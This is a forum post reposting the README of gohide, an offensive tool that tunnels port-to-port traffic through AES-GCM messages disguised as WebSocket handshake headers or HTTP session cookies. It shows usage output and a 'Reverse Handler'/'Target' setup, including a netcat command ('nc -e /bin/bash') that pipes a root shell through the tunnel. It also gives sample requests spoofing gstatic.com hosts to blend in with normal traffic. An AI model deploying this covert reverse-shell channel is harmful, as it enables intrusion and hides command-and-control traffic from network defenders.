# Gohide | Tunnel Port To Port Traffic Over An Obfuscated Channel With AES-GCM Encryption **URL:** \ **Category:** Tools & Scripts\ **Tags:** tools, programming, freebies\ **Created:** [September 10, 2022, 10:10pm UTC](https://onehack.st/t/gohide-tunnel-port-to-port-traffic-over-an-obfuscated-channel-with-aes-gcm-encryption/223736 "2022-09-10T22:10:21Z")\ **Posts on this page:** 1\ **Page:** 1
**Author:** ![TheStrength](https://onehack.st/user_avatar/onehack.st/thestrength/32/46753_2.png) [@TheStrength](https://onehack.st/u/TheStrength)\ **Post date:** [September 10, 2022, 10:10pm UTC](https://onehack.st/t/gohide-tunnel-port-to-port-traffic-over-an-obfuscated-channel-with-aes-gcm-encryption/223736/1 "2022-09-10T22:10:21Z")
![image](https://onehack.st/uploads/default/original/3X/6/c/6c9cbe4cbad29202eb3f1c15cd4407b27ebd330f.jpeg) Tunnel port to port traffic via an obfuscated channel with AES-GCM encryption. **Obfuscation Modes** - Session Cookie HTTP GET (http-client) - Set-Cookie Session Cookie HTTP/2 200 OK (http-server) - WebSocket Handshake “Sec-WebSocket-Key” (websocket-client) - WebSocket Handshake “Sec-WebSocket-Accept” (websocket-server) - No obfuscation, just use AES-GCM encrypted messages (none) AES-GCM is enabled by default for each of the options above. **Usage** ```auto root@WOPR-KALI:/opt/gohide-dev# ./gohide -h Usage of ./gohide: -f string listen fake server -r x.x.x.x:xxxx (ip/domain:port) (default "0.0.0.0:8081") -key openssl passwd -1 -salt ok | md5sum aes encryption secret: use '-k openssl passwd -1 -salt ok | md5sum' to derive key from password (default "5fe10ae58c5ad02a6113305f4e702d07") -l string listen port forward -l x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:8080") -m string obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default "none") -pem string path to .pem for TLS encryption mode: default = use hardcoded key pair 'CN:target.com', none = plaintext mode (default "default") -r string forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:9999") ``` **Scenario** Box A - Reverse Handler. ```auto root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r target.com:9091 -m websocket-client Local Port Forward Listening: 127.0.0.1:8080 FakeSrv Listening: 0.0.0.0:8081 ``` Box B - Target. ```auto root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:9091 -l 127.0.0.1:9090 -r target.com:8081 -m websocket-server Local Port Forward Listening: 127.0.0.1:9090 FakeSrv Listening: 0.0.0.0:9091 ``` Note: /etc/hosts “127.0.0.1 [target.com](http://target.com)” Box B - Netcat /bin/bash ```auto root@WOPR-KALI:/var/tmp# nc -e /bin/bash 127.0.0.1 9090 ``` Box A - Netcat client ```auto root@WOPR-KALI:/opt/gohide# nc -v 127.0.0.1 8080 localhost [127.0.0.1] 8080 (http-alt) open id uid=0(root) gid=0(root) groups=0(root) uname -a Linux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux netstat -pantwu Active Internet connections (servers and established) tcp 0 0 127.0.0.1:39684 127.0.0.1:8081 ESTABLISHED 14334/./gohide ``` **Obfuscation Samples** websocket-client (Box A to Box B) - Sec-WebSocket-Key contains AES-GCM encrypted content e.g. “uname -a”. ```auto GET /news/api/latest HTTP/1.1 Host: cdn-tb0.gstatic.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: 6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62 Sec-WebSocket-Version: 13 ``` websocket-server (Box B to Box A) - Sec-WebSocket-Accept contains AES-GCM encrypted output. ```auto HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: URrP5l0Z3NIHXi+isjuIyTSKfoP60Vw5d2gqcmI= ``` http-client - Session cookie header contains AES-GCM encrypted content ```auto GET /news/api/latest HTTP/1.1 Host: cdn-tbn0.gstatic.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://www.bbc.co.uk/ Connection: keep-alive Cookie: Session=R7IJ8y/EBgCanTo6fc0fxhNVDA27PFXYberJNW29; Secure; HttpOnly ``` http-server - Set-Cookie header contains AES-GCM encrypted content. ```auto HTTP/2.0 200 OK content-encoding: gzip content-type: text/html; charset=utf-8 pragma: no-cache server: nginx x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block cache-control: no-cache, no-store, must-revalidate expires: Thu, 21 Nov 2019 01:07:15 GMT date: Thu, 21 Nov 2019 01:07:15 GMT content-length: 30330 vary: Accept-Encoding X-Firefox-Spdy: h2 Set-Cookie: Session=gWMnQhh+1vkllaOxueOXx9/rLkpf3cmh5uUCmHhy; Secure; Path=/; HttpOnly ``` none ```auto 8JWxXufVora2FNa/8m2Vnub6oiA2raV4Q5tUELJA ``` [![Screenshot from 2019-11-21 02-26-30](https://user-images.githubusercontent.com/56988989/69298676-804ba680-0c06-11ea-84f6-2a32c48a3ba0.png)](https://user-images.githubusercontent.com/56988989/69298676-804ba680-0c06-11ea-84f6-2a32c48a3ba0.png) [![Screenshot from 2019-11-21 16-40-07](https://user-images.githubusercontent.com/56988989/69357798-a3656d00-0c7d-11ea-9db9-d3fe5d2e9ccf.png)](https://user-images.githubusercontent.com/56988989/69357798-a3656d00-0c7d-11ea-9db9-d3fe5d2e9ccf.png) Future - Fix up error handling. Enjoy~ ## GitHub: > **[GitHub - Potato-Industries/gohide: tunnel port to port traffic over an obfuscated...](https://github.com/Potato-Industries/gohide)** > > tunnel port to port traffic over an obfuscated channel with AES-GCM encryption.